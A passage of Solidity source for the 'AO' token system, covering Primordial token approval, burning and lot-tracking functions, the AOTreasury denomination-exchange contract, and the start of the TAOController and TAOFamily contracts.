`_spender` to spend no more than `_value` Primordial tokens in your behalf * @param _spender The address authorized to spend * @param _value The max amount they can spend * @return true on success */ function approvePrimordialToken(address _spender, uint256 _value) public returns (bool success) { primordialAllowance[msg.sender][_spender] = _value; emit PrimordialApproval(msg.sender, _spender, _value); return true; } /** * @dev Allows `_spender` to spend no more than `_value` Primordial tokens in your behalf, and then ping the contract about it * @param _spender The address authorized to spend * @param _value The max amount they can spend * @param _extraData some extra information to send to the approved contract * @return true on success */ function approvePrimordialTokenAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approvePrimordialToken(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @dev Remove `_value` Primordial tokens from the system irreversibly * and re-weight the account's multiplier after burn * @param _value The amount to burn * @return true on success */ function burnPrimordialToken(uint256 _value) public returns (bool success) { require (primordialBalanceOf[msg.sender] >= _value); require (calculateMaximumBurnAmount(msg.sender) >= _value); // Update the account's multiplier ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterBurn(msg.sender, _value); primordialBalanceOf[msg.sender] = primordialBalanceOf[msg.sender].sub(_value); primordialTotalSupply = primordialTotalSupply.sub(_value); // Store burn lot info _createBurnLot(msg.sender, _value); emit PrimordialBurn(msg.sender, _value); return true; } /** * @dev Remove `_value` Primordial tokens from the system irreversibly on behalf of `_from` * and re-weight `_from`'s multiplier after burn * @param _from The address of sender * @param _value The amount to burn * @return true on success */ function burnPrimordialTokenFrom(address _from, uint256 _value) public returns (bool success) { require (primordialBalanceOf[_from] >= _value); require (primordialAllowance[_from][msg.sender] >= _value); require (calculateMaximumBurnAmount(_from) >= _value); // Update `_from`'s multiplier ownerWeightedMultiplier[_from] = calculateMultiplierAfterBurn(_from, _value); primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); primordialAllowance[_from][msg.sender] = primordialAllowance[_from][msg.sender].sub(_value); primordialTotalSupply = primordialTotalSupply.sub(_value); // Store burn lot info _createBurnLot(_from, _value); emit PrimordialBurn(_from, _value); return true; } /** * @dev Return all lot IDs owned by an address * @param _lotOwner The address of the lot owner * @return array of lot IDs */ function lotIdsByAddress(address _lotOwner) public view returns (bytes32[]) { return ownedLots[_lotOwner]; } /** * @dev Return the total lots owned by an address * @param _lotOwner The address of the lot owner * @return total lots owner by the address */ function totalLotsByAddress(address _lotOwner) public view returns (uint256) { return ownedLots[_lotOwner].length; } /** * @dev Return the lot information at a given index of the lots list of the requested owner * @param _lotOwner The address owning the lots list to be accessed * @param _index uint256 representing the index to be accessed of the requested lots list * @return id of the lot * @return The address of the lot owner * @return multiplier of the lot in (10 ** 6) * @return Primordial token amount in the lot */ function lotOfOwnerByIndex(address _lotOwner, uint256 _index) public view returns (bytes32, address, uint256, uint256) { require (_index < ownedLots[_lotOwner].length); Lot memory _lot = lots[ownedLots[_lotOwner][_index]]; return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount); } /** * @dev Return the lot information at a given ID * @param _lotId The lot ID in question * @return id of the lot * @return The lot owner address * @return multiplier of the lot in (10 ** 6) * @return Primordial token amount in the lot */ function lotById(bytes32 _lotId) public view returns (bytes32, address, uint256, uint256) { Lot memory _lot = lots[_lotId]; return (_lot.lotId, _lot.lotOwner, _lot.multiplier, _lot.tokenAmount); } /** * @dev Return all Burn Lot IDs owned by an address * @param _lotOwner The address of the burn lot owner * @return array of Burn Lot IDs */ function burnLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) { return ownedBurnLots[_lotOwner]; } /** * @dev Return the total burn lots owned by an address * @param _lotOwner The address of the burn lot owner * @return total burn lots owner by the address */ function totalBurnLotsByAddress(address _lotOwner) public view returns (uint256) { return ownedBurnLots[_lotOwner].length; } /** * @dev Return the burn lot information at a given ID * @param _burnLotId The burn lot ID in question * @return id of the lot * @return The address of the burn lot owner * @return Primordial token amount in the burn lot */ function burnLotById(bytes32 _burnLotId) public view returns (bytes32, address, uint256) { BurnLot memory _burnLot = burnLots[_burnLotId]; return (_burnLot.burnLotId, _burnLot.lotOwner, _burnLot.tokenAmount); } /** * @dev Return all Convert Lot IDs owned by an address * @param _lotOwner The address of the convert lot owner * @return array of Convert Lot IDs */ function convertLotIdsByAddress(address _lotOwner) public view returns (bytes32[]) { return ownedConvertLots[_lotOwner]; } /** * @dev Return the total convert lots owned by an address * @param _lotOwner The address of the convert lot owner * @return total convert lots owner by the address */ function totalConvertLotsByAddress(address _lotOwner) public view returns (uint256) { return ownedConvertLots[_lotOwner].length; } /** * @dev Return the convert lot information at a given ID * @param _convertLotId The convert lot ID in question * @return id of the lot * @return The address of the convert lot owner * @return Primordial token amount in the convert lot */ function convertLotById(bytes32 _convertLotId) public view returns (bytes32, address, uint256) { ConvertLot memory _convertLot = convertLots[_convertLotId]; return (_convertLot.convertLotId, _convertLot.lotOwner, _convertLot.tokenAmount); } /** * @dev Return the average weighted multiplier of all lots owned by an address * @param _lotOwner The address of the lot owner * @return the weighted multiplier of the address (in 10 ** 6) */ function weightedMultiplierByAddress(address _lotOwner) public view returns (uint256) { return ownerWeightedMultiplier[_lotOwner]; } /** * @dev Return the max multiplier of an address * @param _target The address to query * @return the max multiplier of the address (in 10 ** 6) */ function maxMultiplierByAddress(address _target) public view returns (uint256) { return (ownedLots[_target].length > 0) ? ownerMaxMultiplier[_target] : 0; } /** * @dev Calculate the primordial token multiplier, bonus network token percentage, and the * bonus network token amount on a given lot when someone purchases primordial token * during network exchange * @param _purchaseAmount The amount of primordial token intended to be purchased * @return The multiplier in (10 ** 6) * @return The bonus percentage * @return The amount of network token as bonus */ function calculateMultiplierAndBonus(uint256 _purchaseAmount) public view returns (uint256, uint256, uint256) { (uint256 startingPrimordialMultiplier, uint256 endingPrimordialMultiplier, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables(); return ( AOLibrary.calculatePrimordialMultiplier(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingPrimordialMultiplier, endingPrimordialMultiplier), AOLibrary.calculateNetworkTokenBonusPercentage(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier), AOLibrary.calculateNetworkTokenBonusAmount(_purchaseAmount, TOTAL_PRIMORDIAL_FOR_SALE, primordialTotalBought, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier) ); } /** * @dev Calculate the maximum amount of Primordial an account can burn * @param _account The address of the account * @return The maximum primordial token amount to burn */ function calculateMaximumBurnAmount(address _account) public view returns (uint256) { return AOLibrary.calculateMaximumBurnAmount(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], ownerMaxMultiplier[_account]); } /** * @dev Calculate account's new multiplier after burn `_amountToBurn` primordial tokens * @param _account The address of the account * @param _amountToBurn The amount of primordial token to burn * @return The new multiplier in (10 ** 6) */ function calculateMultiplierAfterBurn(address _account, uint256 _amountToBurn) public view returns (uint256) { require (calculateMaximumBurnAmount(_account) >= _amountToBurn); return AOLibrary.calculateMultiplierAfterBurn(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToBurn); } /** * @dev Calculate account's new multiplier after converting `amountToConvert` network token to primordial token * @param _account The address of the account * @param _amountToConvert The amount of network token to convert * @return The new multiplier in (10 ** 6) */ function calculateMultiplierAfterConversion(address _account, uint256 _amountToConvert) public view returns (uint256) { return AOLibrary.calculateMultiplierAfterConversion(primordialBalanceOf[_account], ownerWeightedMultiplier[_account], _amountToConvert); } /** * @dev Convert `_value` of network tokens to primordial tokens * and re-weight the account's multiplier after conversion * @param _value The amount to convert * @return true on success */ function convertToPrimordial(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value); // Update the account's multiplier ownerWeightedMultiplier[msg.sender] = calculateMultiplierAfterConversion(msg.sender, _value); // Burn network token burn(_value); // mint primordial token _mintPrimordialToken(msg.sender, _value); // Store convert lot info totalConvertLots++; // Generate convert lot Id bytes32 convertLotId = keccak256(abi.encodePacked(this, msg.sender, totalConvertLots)); // Make sure no one owns this lot yet require (convertLots[convertLotId].lotOwner == address(0)); ConvertLot storage convertLot = convertLots[convertLotId]; convertLot.convertLotId = convertLotId; convertLot.lotOwner = msg.sender; convertLot.tokenAmount = _value; ownedConvertLots[msg.sender].push(convertLotId); emit ConvertLotCreation(convertLot.lotOwner, convertLot.convertLotId, convertLot.tokenAmount, ownerWeightedMultiplier[convertLot.lotOwner]); return true; } /***** NETWORK TOKEN & PRIMORDIAL TOKEN METHODS *****/ /** * @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from your account * @param _to The address of the recipient * @param _value The amount of network tokens to send * @param _primordialValue The amount of Primordial tokens to send * @return true on success */ function transferTokens(address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.transfer(_to, _value)); require (transferPrimordialToken(_to, _primordialValue)); return true; } /** * @dev Send `_value` network tokens and `_primordialValue` primordial tokens to `_to` from `_from` * @param _from The address of the sender * @param _to The address of the recipient * @param _value The amount of network tokens tokens to send * @param _primordialValue The amount of Primordial tokens to send * @return true on success */ function transferTokensFrom(address _from, address _to, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.transferFrom(_from, _to, _value)); require (transferPrimordialTokenFrom(_from, _to, _primordialValue)); return true; } /** * @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf * @param _spender The address authorized to spend * @param _value The max amount of network tokens they can spend * @param _primordialValue The max amount of network tokens they can spend * @return true on success */ function approveTokens(address _spender, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.approve(_spender, _value)); require (approvePrimordialToken(_spender, _primordialValue)); return true; } /** * @dev Allows `_spender` to spend no more than `_value` network tokens and `_primordialValue` Primordial tokens in your behalf, and then ping the contract about it * @param _spender The address authorized to spend * @param _value The max amount of network tokens they can spend * @param _primordialValue The max amount of Primordial Tokens they can spend * @param _extraData some extra information to send to the approved contract * @return true on success */ function approveTokensAndCall(address _spender, uint256 _value, uint256 _primordialValue, bytes _extraData) public returns (bool success) { require (super.approveAndCall(_spender, _value, _extraData)); require (approvePrimordialTokenAndCall(_spender, _primordialValue, _extraData)); return true; } /** * @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly * @param _value The amount of network tokens to burn * @param _primordialValue The amount of Primordial tokens to burn * @return true on success */ function burnTokens(uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.burn(_value)); require (burnPrimordialToken(_primordialValue)); return true; } /** * @dev Remove `_value` network tokens and `_primordialValue` Primordial tokens from the system irreversibly on behalf of `_from` * @param _from The address of sender * @param _value The amount of network tokens to burn * @param _primordialValue The amount of Primordial tokens to burn * @return true on success */ function burnTokensFrom(address _from, uint256 _value, uint256 _primordialValue) public returns (bool success) { require (super.burnFrom(_from, _value)); require (burnPrimordialTokenFrom(_from, _primordialValue)); return true; } /***** INTERNAL METHODS *****/ /***** PRIMORDIAL TOKEN INTERNAL METHODS *****/ /** * @dev Calculate the amount of token the buyer will receive and remaining budget if exist * when he/she buys primordial token * @param _budget The amount of ETH sent by buyer * @return uint256 of the tokenAmount the buyer will receiver * @return uint256 of the remaining budget, if exist * @return bool whether or not the network exchange should end */ function _calculateTokenAmountAndRemainderBudget(uint256 _budget) internal view returns (uint256, uint256, bool) { // Calculate the amount of tokens uint256 tokenAmount = _budget.div(primordialBuyPrice); // If we need to return ETH to the buyer, in the case // where the buyer sends more ETH than available primordial token to be purchased uint256 remainderEth = 0; // Make sure primordialTotalBought is not overflowing bool shouldEndNetworkExchange = false; if (primordialTotalBought.add(tokenAmount) >= TOTAL_PRIMORDIAL_FOR_SALE) { tokenAmount = TOTAL_PRIMORDIAL_FOR_SALE.sub(primordialTotalBought); shouldEndNetworkExchange = true; remainderEth = msg.value.sub(tokenAmount.mul(primordialBuyPrice)); } return (tokenAmount, remainderEth, shouldEndNetworkExchange); } /** * @dev Actually sending the primordial token to buyer and reward AO devs accordingly * @param tokenAmount The amount of primordial token to be sent to buyer * @param to The recipient of the token */ function _sendPrimordialTokenAndRewardDev(uint256 tokenAmount, address to) internal { (uint256 startingPrimordialMultiplier,, uint256 startingNetworkTokenBonusMultiplier, uint256 endingNetworkTokenBonusMultiplier) = _getSettingVariables(); // Update primordialTotalBought (uint256 multiplier, uint256 networkTokenBonusPercentage, uint256 networkTokenBonusAmount) = calculateMultiplierAndBonus(tokenAmount); primordialTotalBought = primordialTotalBought.add(tokenAmount); _createPrimordialLot(to, tokenAmount, multiplier, networkTokenBonusAmount); // Calculate The AO and AO Dev Team's portion of Primordial and Network Token Bonus uint256 inverseMultiplier = startingPrimordialMultiplier.sub(multiplier); // Inverse of the buyer's multiplier uint256 theAONetworkTokenBonusAmount = (startingNetworkTokenBonusMultiplier.sub(networkTokenBonusPercentage).add(endingNetworkTokenBonusMultiplier)).mul(tokenAmount).div(AOLibrary.PERCENTAGE_DIVISOR()); if (aoDevTeam1 != address(0)) { _createPrimordialLot(aoDevTeam1, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2)); } if (aoDevTeam2 != address(0)) { _createPrimordialLot(aoDevTeam2, tokenAmount.div(2), inverseMultiplier, theAONetworkTokenBonusAmount.div(2)); } _mintToken(theAO, theAONetworkTokenBonusAmount); } /** * @dev Create a lot with `primordialTokenAmount` of primordial tokens with `_multiplier` for an `account` * during network exchange, and reward `_networkTokenBonusAmount` if exist * @param _account Address of the lot owner * @param _primordialTokenAmount The amount of primordial tokens to be stored in the lot * @param _multiplier The multiplier for this lot in (10 ** 6) * @param _networkTokenBonusAmount The network token bonus amount */ function _createPrimordialLot(address _account, uint256 _primordialTokenAmount, uint256 _multiplier, uint256 _networkTokenBonusAmount) internal { totalLots++; // Generate lotId bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots)); // Make sure no one owns this lot yet require (lots[lotId].lotOwner == address(0)); Lot storage lot = lots[lotId]; lot.lotId = lotId; lot.multiplier = _multiplier; lot.lotOwner = _account; lot.tokenAmount = _primordialTokenAmount; ownedLots[_account].push(lotId); ownerWeightedMultiplier[_account] = AOLibrary.calculateWeightedMultiplier(ownerWeightedMultiplier[_account], primordialBalanceOf[_account], lot.multiplier, lot.tokenAmount); // If this is the first lot, set this as the max multiplier of the account if (ownedLots[_account].length == 1) { ownerMaxMultiplier[_account] = lot.multiplier; } _mintPrimordialToken(_account, lot.tokenAmount); _mintToken(_account, _networkTokenBonusAmount); emit LotCreation(lot.lotOwner, lot.lotId, lot.multiplier, lot.tokenAmount, _networkTokenBonusAmount); } /** * @dev Create `mintedAmount` Primordial tokens and send it to `target` * @param target Address to receive the Primordial tokens * @param mintedAmount The amount of Primordial tokens it will receive */ function _mintPrimordialToken(address target, uint256 mintedAmount) internal { primordialBalanceOf[target] = primordialBalanceOf[target].add(mintedAmount); primordialTotalSupply = primordialTotalSupply.add(mintedAmount); emit PrimordialTransfer(0, this, mintedAmount); emit PrimordialTransfer(this, target, mintedAmount); } /** * @dev Create a lot with `tokenAmount` of tokens at `weightedMultiplier` for an `account` * @param _account Address of lot owner * @param _tokenAmount The amount of tokens * @param _weightedMultiplier The multiplier of the lot (in 10^6) * @return bytes32 of new created lot ID */ function _createWeightedMultiplierLot(address _account, uint256 _tokenAmount, uint256 _weightedMultiplier) internal returns (bytes32) { require (_account != address(0)); require (_tokenAmount > 0); totalLots++; // Generate lotId bytes32 lotId = keccak256(abi.encodePacked(this, _account, totalLots)); // Make sure no one owns this lot yet require (lots[lotId].lotOwner == address(0)); Lot storage lot = lots[lotId]; lot.lotId = lotId; lot.multiplier = _weightedMultiplier; lot.lotOwner = _account; lot.tokenAmount = _tokenAmount; ownedLots[_account].push(lotId); // If this is the first lot, set this as the max multiplier of the account if (ownedLots[_account].length == 1) { ownerMaxMultiplier[_account] = lot.multiplier; } return lotId; } /** * @dev Send `_value` Primordial tokens from `_from` to `_to` * @param _from The address of sender * @param _to The address of the recipient * @param _value The amount to send */ function _transferPrimordialToken(address _from, address _to, uint256 _value) internal returns (bool) { require (_to != address(0)); // Prevent transfer to 0x0 address. Use burn() instead require (primordialBalanceOf[_from] >= _value); // Check if the sender has enough require (primordialBalanceOf[_to].add(_value) >= primordialBalanceOf[_to]); // Check for overflows require (!frozenAccount[_from]); // Check if sender is frozen require (!frozenAccount[_to]); // Check if recipient is frozen uint256 previousBalances = primordialBalanceOf[_from].add(primordialBalanceOf[_to]); primordialBalanceOf[_from] = primordialBalanceOf[_from].sub(_value); // Subtract from the sender primordialBalanceOf[_to] = primordialBalanceOf[_to].add(_value); // Add the same to the recipient emit PrimordialTransfer(_from, _to, _value); assert(primordialBalanceOf[_from].add(primordialBalanceOf[_to]) == previousBalances); return true; } /** * @dev Store burn lot information * @param _account The address of the account * @param _tokenAmount The amount of primordial tokens to burn */ function _createBurnLot(address _account, uint256 _tokenAmount) internal { totalBurnLots++; // Generate burn lot Id bytes32 burnLotId = keccak256(abi.encodePacked(this, _account, totalBurnLots)); // Make sure no one owns this lot yet require (burnLots[burnLotId].lotOwner == address(0)); BurnLot storage burnLot = burnLots[burnLotId]; burnLot.burnLotId = burnLotId; burnLot.lotOwner = _account; burnLot.tokenAmount = _tokenAmount; ownedBurnLots[_account].push(burnLotId); emit BurnLotCreation(burnLot.lotOwner, burnLot.burnLotId, burnLot.tokenAmount, ownerWeightedMultiplier[burnLot.lotOwner]); } /** * @dev Get setting variables * @return startingPrimordialMultiplier The starting multiplier used to calculate primordial token * @return endingPrimordialMultiplier The ending multiplier used to calculate primordial token * @return startingNetworkTokenBonusMultiplier The starting multiplier used to calculate network token bonus * @return endingNetworkTokenBonusMultiplier The ending multiplier used to calculate network token bonus */ function _getSettingVariables() internal view returns (uint256, uint256, uint256, uint256) { (uint256 startingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingPrimordialMultiplier'); (uint256 endingPrimordialMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingPrimordialMultiplier'); (uint256 startingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'startingNetworkTokenBonusMultiplier'); (uint256 endingNetworkTokenBonusMultiplier,,,,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'endingNetworkTokenBonusMultiplier'); return (startingPrimordialMultiplier, endingPrimordialMultiplier, startingNetworkTokenBonusMultiplier, endingNetworkTokenBonusMultiplier); } } /** * @title AOTreasury * * The purpose of this contract is to list all of the valid denominations of AO Token and do the conversion between denominations */ contract AOTreasury is TheAO { using SafeMath for uint256; bool public paused; bool public killed; struct Denomination { bytes8 name; address denominationAddress; } // Mapping from denomination index to Denomination object // The list is in order from lowest denomination to highest denomination // i.e, denominations[1] is the base denomination mapping (uint256 => Denomination) internal denominations; // Mapping from denomination ID to index of denominations mapping (bytes8 => uint256) internal denominationIndex; uint256 public totalDenominations; // Event to be broadcasted to public when a token exchange happens event Exchange(address indexed account, uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName); // Event to be broadcasted to public when emergency mode is triggered event EscapeHatch(); /** * @dev Constructor function */ constructor() public {} /** * @dev Checks if the calling contract address is The AO * OR * If The AO is set to a Name/TAO, then check if calling address is the Advocate */ modifier onlyTheAO { require (AOLibrary.isTheAO(msg.sender, theAO, nameTAOPositionAddress)); _; } /** * @dev Checks if contract is currently active */ modifier isContractActive { require (paused == false && killed == false); _; } /** * @dev Checks if denomination is valid */ modifier isValidDenomination(bytes8 denominationName) { require (denominationIndex[denominationName] > 0 && denominations[denominationIndex[denominationName]].denominationAddress != address(0)); _; } /***** The AO ONLY METHODS *****/ /** * @dev The AO set the NameTAOPosition Address * @param _nameTAOPositionAddress The address of NameTAOPosition */ function setNameTAOPositionAddress(address _nameTAOPositionAddress) public onlyTheAO { require (_nameTAOPositionAddress != address(0)); nameTAOPositionAddress = _nameTAOPositionAddress; } /** * @dev Transfer ownership of The AO to new address * @param _theAO The new address to be transferred */ function transferOwnership(address _theAO) public onlyTheAO { require (_theAO != address(0)); theAO = _theAO; } /** * @dev Whitelist `_account` address to transact on behalf of others * @param _account The address to whitelist * @param _whitelist Either to whitelist or not */ function setWhitelist(address _account, bool _whitelist) public onlyTheAO { require (_account != address(0)); whitelist[_account] = _whitelist; } /** * @dev The AO pauses/unpauses contract * @param _paused Either to pause contract or not */ function setPaused(bool _paused) public onlyTheAO { paused = _paused; } /** * @dev The AO triggers emergency mode. * */ function escapeHatch() public onlyTheAO { require (killed == false); killed = true; emit EscapeHatch(); } /** * @dev The AO adds denomination and the contract address associated with it * @param denominationName The name of the denomination, i.e ao, kilo, mega, etc. * @param denominationAddress The address of the denomination token * @return true on success */ function addDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) { require (denominationName.length != 0); require (denominationAddress != address(0)); require (denominationIndex[denominationName] == 0); totalDenominations++; // Make sure the new denomination is higher than the previous if (totalDenominations > 1) { AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations - 1].denominationAddress); AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress); require (_newDenominationToken.powerOfTen() > _lastDenominationToken.powerOfTen()); } denominations[totalDenominations].name = denominationName; denominations[totalDenominations].denominationAddress = denominationAddress; denominationIndex[denominationName] = totalDenominations; return true; } /** * @dev The AO updates denomination address or activates/deactivates the denomination * @param denominationName The name of the denomination, i.e ao, kilo, mega, etc. * @param denominationAddress The address of the denomination token * @return true on success */ function updateDenomination(bytes8 denominationName, address denominationAddress) public onlyTheAO returns (bool) { require (denominationName.length != 0); require (denominationIndex[denominationName] > 0); require (denominationAddress != address(0)); uint256 _denominationNameIndex = denominationIndex[denominationName]; AOTokenInterface _newDenominationToken = AOTokenInterface(denominationAddress); if (_denominationNameIndex > 1) { AOTokenInterface _prevDenominationToken = AOTokenInterface(denominations[_denominationNameIndex - 1].denominationAddress); require (_newDenominationToken.powerOfTen() > _prevDenominationToken.powerOfTen()); } if (_denominationNameIndex < totalDenominations) { AOTokenInterface _lastDenominationToken = AOTokenInterface(denominations[totalDenominations].denominationAddress); require (_newDenominationToken.powerOfTen() < _lastDenominationToken.powerOfTen()); } denominations[denominationIndex[denominationName]].denominationAddress = denominationAddress; return true; } /***** PUBLIC METHODS *****/ /** * @dev Get denomination info based on name * @param denominationName The name to be queried * @return the denomination short name * @return the denomination address * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function getDenominationByName(bytes8 denominationName) public view returns (bytes8, address, string, string, uint8, uint256) { require (denominationName.length != 0); require (denominationIndex[denominationName] > 0); require (denominations[denominationIndex[denominationName]].denominationAddress != address(0)); AOTokenInterface _ao = AOTokenInterface(denominations[denominationIndex[denominationName]].denominationAddress); return ( denominations[denominationIndex[denominationName]].name, denominations[denominationIndex[denominationName]].denominationAddress, _ao.name(), _ao.symbol(), _ao.decimals(), _ao.powerOfTen() ); } /** * @dev Get denomination info by index * @param index The index to be queried * @return the denomination short name * @return the denomination address * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function getDenominationByIndex(uint256 index) public view returns (bytes8, address, string, string, uint8, uint256) { require (index > 0 && index <= totalDenominations); require (denominations[index].denominationAddress != address(0)); AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress); return ( denominations[index].name, denominations[index].denominationAddress, _ao.name(), _ao.symbol(), _ao.decimals(), _ao.powerOfTen() ); } /** * @dev Get base denomination info * @return the denomination short name * @return the denomination address * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function getBaseDenomination() public view returns (bytes8, address, string, string, uint8, uint256) { require (totalDenominations > 1); return getDenominationByIndex(1); } /** * @dev convert token from `denominationName` denomination to base denomination, * in this case it's similar to web3.toWei() functionality * * Example: * 9.1 Kilo should be entered as 9 integerAmount and 100 fractionAmount * 9.02 Kilo should be entered as 9 integerAmount and 20 fractionAmount * 9.001 Kilo should be entered as 9 integerAmount and 1 fractionAmount * * @param integerAmount uint256 of the integer amount to be converted * @param fractionAmount uint256 of the frational amount to be converted * @param denominationName bytes8 name of the token denomination * @return uint256 converted amount in base denomination from target denomination */ function toBase(uint256 integerAmount, uint256 fractionAmount, bytes8 denominationName) public view returns (uint256) { if (denominationName.length > 0 && denominationIndex[denominationName] > 0 && denominations[denominationIndex[denominationName]].denominationAddress != address(0) && (integerAmount > 0 || fractionAmount > 0)) { Denomination memory _denomination = denominations[denominationIndex[denominationName]]; AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress); uint8 fractionNumDigits = _numDigits(fractionAmount); require (fractionNumDigits <= _denominationToken.decimals()); uint256 baseInteger = integerAmount.mul(10 ** _denominationToken.powerOfTen()); if (_denominationToken.decimals() == 0) { fractionAmount = 0; } return baseInteger.add(fractionAmount); } else { return 0; } } /** * @dev convert token from base denomination to `denominationName` denomination, * in this case it's similar to web3.fromWei() functionality * @param integerAmount uint256 of the base amount to be converted * @param denominationName bytes8 name of the target token denomination * @return uint256 of the converted integer amount in target denomination * @return uint256 of the converted fraction amount in target denomination */ function fromBase(uint256 integerAmount, bytes8 denominationName) public isValidDenomination(denominationName) view returns (uint256, uint256) { Denomination memory _denomination = denominations[denominationIndex[denominationName]]; AOTokenInterface _denominationToken = AOTokenInterface(_denomination.denominationAddress); uint256 denominationInteger = integerAmount.div(10 ** _denominationToken.powerOfTen()); uint256 denominationFraction = integerAmount.sub(denominationInteger.mul(10 ** _denominationToken.powerOfTen())); return (denominationInteger, denominationFraction); } /** * @dev exchange `amount` token from `fromDenominationName` denomination to token in `toDenominationName` denomination * @param amount The amount of token to exchange * @param fromDenominationName The origin denomination * @param toDenominationName The target denomination */ function exchange(uint256 amount, bytes8 fromDenominationName, bytes8 toDenominationName) public isContractActive isValidDenomination(fromDenominationName) isValidDenomination(toDenominationName) { require (amount > 0); Denomination memory _fromDenomination = denominations[denominationIndex[fromDenominationName]]; Denomination memory _toDenomination = denominations[denominationIndex[toDenominationName]]; AOTokenInterface _fromDenominationToken = AOTokenInterface(_fromDenomination.denominationAddress); AOTokenInterface _toDenominationToken = AOTokenInterface(_toDenomination.denominationAddress); require (_fromDenominationToken.whitelistBurnFrom(msg.sender, amount)); require (_toDenominationToken.mintToken(msg.sender, amount)); emit Exchange(msg.sender, amount, fromDenominationName, toDenominationName); } /** * @dev Return the highest possible denomination given a base amount * @param amount The amount to be converted * @return the denomination short name * @return the denomination address * @return the integer amount at the denomination level * @return the fraction amount at the denomination level * @return the denomination public name * @return the denomination symbol * @return the denomination num of decimals * @return the denomination multiplier (power of ten) */ function toHighestDenomination(uint256 amount) public view returns (bytes8, address, uint256, uint256, string, string, uint8, uint256) { uint256 integerAmount; uint256 fractionAmount; uint256 index; for (uint256 i=totalDenominations; i>0; i--) { Denomination memory _denomination = denominations[i]; (integerAmount, fractionAmount) = fromBase(amount, _denomination.name); if (integerAmount > 0) { index = i; break; } } require (index > 0 && index <= totalDenominations); require (integerAmount > 0 || fractionAmount > 0); require (denominations[index].denominationAddress != address(0)); AOTokenInterface _ao = AOTokenInterface(denominations[index].denominationAddress); return ( denominations[index].name, denominations[index].denominationAddress, integerAmount, fractionAmount, _ao.name(), _ao.symbol(), _ao.decimals(), _ao.powerOfTen() ); } /***** INTERNAL METHOD *****/ /** * @dev count num of digits * @param number uint256 of the nuumber to be checked * @return uint8 num of digits */ function _numDigits(uint256 number) internal pure returns (uint8) { uint8 digits = 0; while(number != 0) { number = number.div(10); digits++; } return digits; } } contract Pathos is TAOCurrency { /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol) TAOCurrency(initialSupply, tokenName, tokenSymbol) public {} } contract Ethos is TAOCurrency { /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol) TAOCurrency(initialSupply, tokenName, tokenSymbol) public {} } /** * @title TAOController */ contract TAOController { NameFactory internal _nameFactory; NameTAOPosition internal _nameTAOPosition; /** * @dev Constructor function */ constructor(address _nameFactoryAddress, address _nameTAOPositionAddress) public { _nameFactory = NameFactory(_nameFactoryAddress); _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if `_id` is a Name or a TAO */ modifier isNameOrTAO(address _id) { require (AOLibrary.isName(_id) || AOLibrary.isTAO(_id)); _; } /** * @dev Check is msg.sender address is a Name */ modifier senderIsName() { require (_nameFactory.ethAddressToNameId(msg.sender) != address(0)); _; } /** * @dev Check if msg.sender is the current advocate of TAO ID */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } } // Store the name lookup for a Name/TAO /** * @title TAOFamily */ contract TAOFamily is TAOController { using SafeMath for uint256; address public taoFactoryAddress; TAOFactory internal _taoFactory; struct Child { address taoId; bool approved; // If false, then waiting for parent TAO approval bool connected; // If false, then parent TAO want to remove this child TAO } struct Family { address taoId; address parentId; // The parent of this TAO ID (could be a Name or TAO) uint256 childMinLogos; mapping (uint256 => Child) children; mapping (address => uint256) childInternalIdLookup; uint256 totalChildren; uint256 childInternalId; } mapping (address => Family) internal families; // Event to be broadcasted to public when Advocate updates min required Logos to create a child TAO event UpdateChildMinLogos(address indexed taoId, uint256 childMinLogos, uint256 nonce); // Event to be broadcasted to public when a TAO adds a child TAO event AddChild(address indexed taoId, address childId, bool approved, bool connected, uint256 nonce); 